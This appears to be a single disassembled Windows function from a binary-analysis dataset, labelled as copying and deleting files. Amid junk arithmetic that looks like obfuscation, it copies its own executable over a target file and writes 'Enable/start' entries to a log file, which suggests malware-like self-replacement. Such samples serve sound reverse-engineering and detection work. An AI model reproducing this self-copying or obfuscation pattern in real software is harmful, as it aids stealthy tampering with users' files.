Function at 0x405fc0
Capabilities:
Copy file
Delete file

Disassembly:
sub esp, 0x408
mov eax, dword [0x43f350]
mov edx, dword [0x43e2c0]
mov dword [esp + 0x404], eax
mov ecx, dword [0x43e2bc]
push ebx
mov eax, 0x6445fc6d
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
push ebp
push esi
mov esi, dword [0x43e2d0]
push edi
mov edi, dword [str._r_____r____]
lea ebx, [ecx + esi]
imul ecx, ecx, 0x450e38
imul ebx, ebx, 0x302f8a
sub ebx, eax
mov edx, edi
imul edx, edx, 0x754f74
sub ebx, edx
mov eax, 0x321c7f55
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, esi
imul edx, edx, 0x643bbd
add ebx, edx
mov eax, 0x65c6b7f9
imul esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov esi, dword [0x43e2c4]
mov eax, 0x278a52fb
imul edi
sar edx, 0x14
mov edi, edx
add ebx, edx
mov edx, dword [0x43e2d8]
imul edx, edx, 0x3493ae
shr edi, 0x1f
add edi, ebx
add edi, edx
mov eax, 0x9bcf58cb
imul esi
add edx, esi
sar edx, 0x15
mov eax, edx
push str.C:Program_Files_test.txt
shr eax, 0x1f
add eax, edx
push str.test
sub edi, eax
push 0x433090
lea ecx, [edi + ecx - 0x643bbd]
push 0x43308c
mov dword [0x43e2c4], ecx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [str._r_____r____]
mov edi, dword [0x43e2d8]
sub edi, ecx
mov ecx, dword [0x43e2bc]
imul edi, edi, 0x754f74
mov edx, ecx
imul edx, edx, 0x28d92c
add edi, edx
mov eax, 0x321c7f55
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov esi, dword [0x43e2cc]
imul ecx, ecx, 0x302f8a
mov edx, esi
imul esi, esi, 0x3493ae
imul edx, edx, 0x643bbd
add edi, edx
add edi, ecx
mov ecx, dword [0x43e2d0]
mov eax, 0x65c6b7f9
imul ecx
mov ecx, dword [0x43e2d4]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
add edi, esi
sar edx, 0x15
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, edx
add edi, edx
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
mov eax, edx
shr esi, 0x1f
shr eax, 0x1f
add esi, edi
add eax, edx
sub esi, eax
lea ecx, [esi + ecx - 0x643bbd]
mov esi, dword [esp + 0x41c]
push 1
push esi
push str.C:Program_Files_test.txt
mov dword [0x43e2bc], ecx
call ebx
mov ecx, dword [0x43e2c8]
mov eax, 0x8ba9e88d
imul ecx
add edx, ecx
mov edi, ecx
mov ecx, dword [0x43e2c4]
imul edi, edi, 0x28d92c
sar edx, 0x16
add edi, edx
mov ebp, edx
mov eax, 0x8ba9e88d
imul ecx
add edx, ecx
sar edx, 0x16
shr ebp, 0x1f
add ebp, edi
add ebp, edx
mov edi, edx
mov edx, dword [0x43e2d0]
mov eax, 0x321c7f55
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, ebp
sub edi, eax
mov eax, 0x51bab243
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2bc]
imul edx, edx, 0x302f8a
sub edi, eax
add edi, edx
imul ecx, ecx, 0x679728
lea eax, [edi + ecx + 0x2fa80f]
mov dword [0x43e2d8], eax
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call edi
mov ebp, dword [0x43e2bc]
mov ecx, dword [0x43e2d4]
imul ebp, ebp, 0x7565e
imul ecx, ecx, 0x51bcef
add ebp, ecx
mov ecx, dword [0x43e2c4]
mov eax, 0x321c7f55
imul ecx
mov ecx, dword [0x43e2cc]
sar edx, 0x14
imul ecx, ecx, 0x69275c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
add ebp, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x1412258
add ebp, edx
mov edx, dword [0x43e2d0]
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebp, ecx
sub ebp, 0x3493ae
mov dword [0x43e2d0], ebp
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:Program_Files_test.txt
call ebp
push 0
push esi
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
je 0x4065a9
mov dword [esp + 0x10], 0
push esi
call ebp
push 0
push esi
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
je 0x4062e0
push 0x3e8
call edi
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x64
mov dword [esp + 0x10], eax
jl 0x4062b8
mov ecx, dword [0x43e2d4]
mov ebp, dword [0x43e2cc]
mov eax, 0x321c7f55
imul ebp, ebp, 0xa9e322
imul ecx
mov ecx, dword [0x43e2c0]
sar edx, 0x14
imul ecx, ecx, 0x643bbd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
add ebp, ecx
mov ecx, dword [0x43e2c8]
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2bc]
imul edx, edx, 0x8d9c64
sub ebp, eax
add ebp, edx
mov edx, dword [0x43e2c4]
mov eax, 0x278a52fb
imul edx
sar edx, 0x14
add ebp, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x450e38
shr eax, 0x1f
add eax, ebp
add eax, edx
mov ebp, eax
mov eax, 0x51e0e37b
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
push 0x104
lea eax, [esp + 0x118]
push eax
lea edx, [ecx + ebp - 0x28d92c]
push 0
mov dword [0x43e2c8], edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebp, dword [0x43e2d8]
mov ecx, dword [0x43e2bc]
imul ebp, ebp, 0x754f74
imul ecx, ecx, 0x74bc7
add ebp, ecx
mov ecx, dword [0x43e2d4]
mov eax, 0x321c7f55
imul ecx
mov ecx, dword [0x43e2d0]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, dword [0x43e2cc]
mov edx, ecx
imul eax, eax, 0x69275c
imul edx, edx, 0x643bbd
add ebp, edx
add ebp, eax
mov eax, 0x65c6b7f9
imul ecx
mov ecx, dword [0x43e2c8]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add ebp, edx
add eax, ebp
imul ecx, ecx, 0x679727
add eax, ecx
mov ecx, dword [0x43e2dc]
mov ebp, eax
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0
sub ebp, eax
push esi
lea ecx, [esp + 0x11c]
sub ebp, 0x643bbd
push ecx
mov dword [0x43e2c0], ebp
call ebx
mov ebp, dword [0x43e2bc]
mov edx, dword [0x43e2c8]
imul ebp, ebp, 0xa9d170
mov ecx, dword [0x43e2d0]
imul edx, edx, 0x754f74
add ebp, edx
mov ebx, dword [0x43e2d8]
mov eax, 0x321c7f55
imul ecx
mov ecx, dword [0x43e2dc]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov edx, ecx
imul edx, edx, 0x643bbe
add ebp, edx
mov eax, 0x51bab243
imul ebx
sar edx, 0x15
add ebp, edx
mov eax, edx
mov edx, dword [0x43e2d4]
shr eax, 0x1f
add eax, ebp
mov ebp, eax
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x278a52fb
imul ebx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ebp, edx
lea edx, [ecx + ebp - 0x247508]
push 0x1388
mov dword [str._r_____r____], edx
call edi
push 0
push esi
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
je 0x4065a9
push 0
call fcn.00417dce
push eax
lea eax, [esp + 0x1c]
push 0x433088
push eax
call fcn.00416ca1
mov edi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
add esp, 0x10
push str.C:Program_FilesWindows_NT_sms_log.txt
lea ecx, [esp + 0x18]
push ecx
push str.start
push str.Enable
call edi
lea ecx, [esp + 0x214]
sub ecx, esi
mov al, byte [esi]
mov byte [ecx + esi], al
inc esi
test al, al
jne 0x406543
lea eax, [esp + 0x214]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406557
mov cl, byte [0x43268c]
sub eax, edx
lea edx, [esp + eax + 0x210]
mov eax, dword [str..txt]
mov dword [edx], eax
mov byte [edx + 4], cl
lea edx, [esp + 0x214]
push edx
lea eax, [esp + 0x18]
push eax
push str.start
push str.Enable
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x404]
call fcn.00416fcd
add esp, 0x408
ret
mov ecx, dword [esp + 0x414]
pop edi
pop esi
pop ebp
mov eax, 0xfffffffe
pop ebx
call fcn.00416fcd
add esp, 0x408
ret